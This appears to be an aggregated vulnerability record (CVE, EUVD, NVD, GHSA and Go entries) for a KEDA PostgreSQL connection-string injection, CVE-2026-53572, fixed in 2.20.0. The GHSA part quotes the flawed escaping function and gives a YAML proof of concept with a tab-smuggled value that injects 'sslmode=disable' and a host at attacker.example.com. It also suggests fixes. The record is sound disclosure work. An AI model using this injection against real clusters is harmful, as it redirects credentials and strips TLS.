{"id":"EUVD-2026-64131","revision":null,"records":[{"revision":"e30845affb3c44ddba5e3bc48651b8b0","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-53572","aliases":[],"title":"KEDA: PostgreSQL connection string parameter injection via incomplete whitespace escaping","description":"KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.","state":0,"publishedAt":"2026-08-21T20:11:56.479+00:00","modifiedAt":"2026-08-25T17:13:43.12+00:00","affected":[{"ecosystem":"Vendor product","name":"keda","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"kedacore\",\n                    \"product\": \"keda\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.20.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","score":5.9,"severity":"MEDIUM"}],"references":["https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q","https://github.com/kedacore/keda/issues/7784","https://github.com/kedacore/keda/pull/7787","https://github.com/kedacore/keda/commit/703de9dec86cb25b6ecfa4948880a90487344d3f","https://github.com/kedacore/keda/releases/tag/v2.20.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-53572","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-53572","identifiers":["CVE-2026-53572"]},"retained":false,"historicalAffected":[]},{"revision":"7c60ff333b2848208c26f43cd619bb69","observedAt":"2026-11-09T12:12:12.862+00:00","statement":{"source":"euvd","id":"EUVD-2026-64131","aliases":["CVE-2026-53572","GHSA-6w3m-4hhp-775q"],"title":"KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, wh…","description":"KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","score":5.9,"severity":null}],"references":["https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q","https://github.com/kedacore/keda/issues/7784","https://github.com/kedacore/keda/pull/7787","https://github.com/kedacore/keda/commit/703de9dec86cb25b6ecfa4948880a90487344d3f","https://github.com/kedacore/keda/releases/tag/v2.20.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-64131","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 21, 2026, 8:11:56 PM","dateUpdated":"Aug 25, 2026, 5:13:43 PM"},"relatedAdvisories":[{"id":"msrc_CVE-2026-53572","title":"KEDA: PostgreSQL connection string parameter injection via incomplete whitespace escaping","vulnerabilityIds":["CVE-2026-53572"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-64131","identifiers":["EUVD-2026-64131","CVE-2026-53572","GHSA-6w3m-4hhp-775q"]},"retained":false,"historicalAffected":[]},{"revision":"12cbc9d7326148b1be0d0d23d4510c0e","observedAt":"2026-10-25T13:17:16.273+00:00","statement":{"source":"nvd","id":"CVE-2026-53572","aliases":[],"title":"KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, wh…","description":"KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.","state":0,"publishedAt":"2026-08-21T21:16:59.957+00:00","modifiedAt":"2026-10-12T16:10:00.22+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","score":5.9,"severity":"MEDIUM"}],"references":["https://github.com/kedacore/keda/commit/703de9dec86cb25b6ecfa4948880a90487344d3f","https://github.com/kedacore/keda/issues/7784","https://github.com/kedacore/keda/pull/7787","https://github.com/kedacore/keda/releases/tag/v2.20.0","https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53572","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-74","CWE-89"],"productCriteria":[],"sourceDates":{"published":"2026-08-21T21:16:59.957","lastModified":"2026-10-12T16:10:00.220"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-53572","identifiers":["CVE-2026-53572"]},"retained":false,"historicalAffected":[]},{"revision":"d58876bd443d4324866b2b719416f65f","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-6w3m-4hhp-775q","aliases":["CVE-2026-53572","GO-2026-5940"],"title":"KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping","description":"### Summary\n`pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`:\n```go\nfunc escapePostgreConnectionParameter(str string) string {\n    if !strings.Contains(str, \" \") {\n        return str       // returned as-is for any non-space whitespace\n    }\n    str = strings.ReplaceAll(str, \"'\", \"\\\\'\")\n    return fmt.Sprintf(\"'%s'\", str)\n}\n```\nThe function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\\tsslmode=disable\\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters.\n\n### Vulnerable code\n`pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257.\n\n### Impact\nTenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can:\n- **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.\n- **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword.\n- Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior.\n\nNote: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration — injected `host=` still redirects the subsequent `password=` keyword's target.\n\n### Proof of concept\n```yaml\ntriggers:\n- type: postgresql\n  metadata:\n    host: \"legit.db.svc\\tsslmode=disable\\thost=attacker.example.com\"\n    port: \"5432\"\n    userName: \"keda\"\n    dbName: \"metrics\"\n    sslmode: \"require\"\n    query: \"SELECT 1\"\n```\nAfter `escapePostgreConnectionParameter` (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`.\n\n### Suggested fix\n- Escape / reject any ASCII whitespace (`\\t`, `\\n`, `\\r`, `\\f`, `\\v`, space) and backslash.\n- Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding.\n- Validate each field against an allow-list pattern before use.\n\n### Resources\n- `pkg/scalers/postgresql_scaler.go`\n- libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING","state":0,"publishedAt":"2026-07-07T23:44:13+00:00","modifiedAt":"2026-09-10T03:50:51.4543822+00:00","affected":[{"ecosystem":"Go","name":"github.com/kedacore/keda/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.20.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q","https://github.com/kedacore/keda"],"sourceUrl":"https://github.com/advisories/GHSA-6w3m-4hhp-775q","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-6w3m-4hhp-775q","identifiers":["GHSA-6w3m-4hhp-775q","CVE-2026-53572","GO-2026-5940"]},"retained":false,"historicalAffected":[]},{"revision":"837158348d6743ed8d21eccb9e6bb867","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5940","aliases":["CVE-2026-53572","GHSA-6w3m-4hhp-775q"],"title":"KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping in github.com/kedacore/keda","description":"KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping in github.com/kedacore/keda","state":0,"publishedAt":"2026-07-17T19:42:05+00:00","modifiedAt":"2026-07-21T19:15:26.4082306+00:00","affected":[{"ecosystem":"Go","name":"github.com/kedacore/keda","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/kedacore/keda/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.20.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5940","license":"OSV · upstream source license applies","key":"osv:GO-2026-5940","identifiers":["GO-2026-5940","CVE-2026-53572","GHSA-6w3m-4hhp-775q"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T12:21:44.7808638+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T12:21:44.7808638+00:00","lastSuccessAt":"2026-11-10T12:21:44.951808+00:00","error":null,"lastVerifiedAt":"2026-11-10T12:21:44.951809+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-ffb66f08bc2ec92bd1b8dd76ee58aedbbd7ad7aa53e1b87fd81fadb987d1cf63","complete":true,"records":421939,"lastAttemptAt":"2026-11-10T12:21:43.1617224+00:00","lastSuccessAt":"2026-11-10T12:21:43.0454863+00:00","error":null,"lastVerifiedAt":"2026-11-10T12:21:43.1617224+00:00","snapshotPublishedAt":"2026-11-10T11:27:14+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d438db76762e40e09fae683c91dc71f3","complete":true,"records":13691,"lastAttemptAt":"2026-11-10T12:22:16.7760556+00:00","lastSuccessAt":"2026-11-10T11:26:02.298+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:26:02.298+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13744,"expectedIdentifiers":13744,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T12:21:44.7808638+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T12:21:44.7808638+00:00","lastSuccessAt":"2026-11-10T12:21:44.9529316+00:00","error":null,"lastVerifiedAt":"2026-11-10T12:21:44.9529331+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bc86934581ee42b08269e4a28e58251a","complete":false,"records":13697,"lastAttemptAt":"2026-11-10T12:22:14.109164+00:00","lastSuccessAt":"2026-11-10T12:22:14.105+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-10T12:22:14.105+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13642,"expectedIdentifiers":13744,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-cdffb4589856378aa42e8d1bd4a6c74e27a180d8160bf764c44715ef760f0a62","complete":true,"records":9932,"lastAttemptAt":"2026-11-10T12:21:44.3745391+00:00","lastSuccessAt":"2026-11-10T00:04:19.8260565+00:00","error":null,"lastVerifiedAt":"2026-11-10T12:21:44.3745391+00:00","snapshotPublishedAt":"2026-11-09T23:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T12:21:43.867998+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T12:21:43.867998+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-94169eec81ea3989aa551092397ff34ae53c104b4a6ce646e1524452e4ab2a39","complete":true,"records":3065,"lastAttemptAt":"2026-11-10T12:21:44.6868519+00:00","lastSuccessAt":"2026-11-10T08:04:45.5923716+00:00","error":null,"lastVerifiedAt":"2026-11-10T12:21:44.6868519+00:00","snapshotPublishedAt":"2026-11-10T06:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-86f40cdda9ca36627f818d0cc8237a8a8c7c22cb687d6747a4ea12bded69e17e","complete":true,"records":231599,"lastAttemptAt":"2026-11-10T12:21:44.0260839+00:00","lastSuccessAt":"2026-11-10T11:25:00.8551311+00:00","error":null,"lastVerifiedAt":"2026-11-10T12:21:44.0260839+00:00","snapshotPublishedAt":"2026-11-10T11:03:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}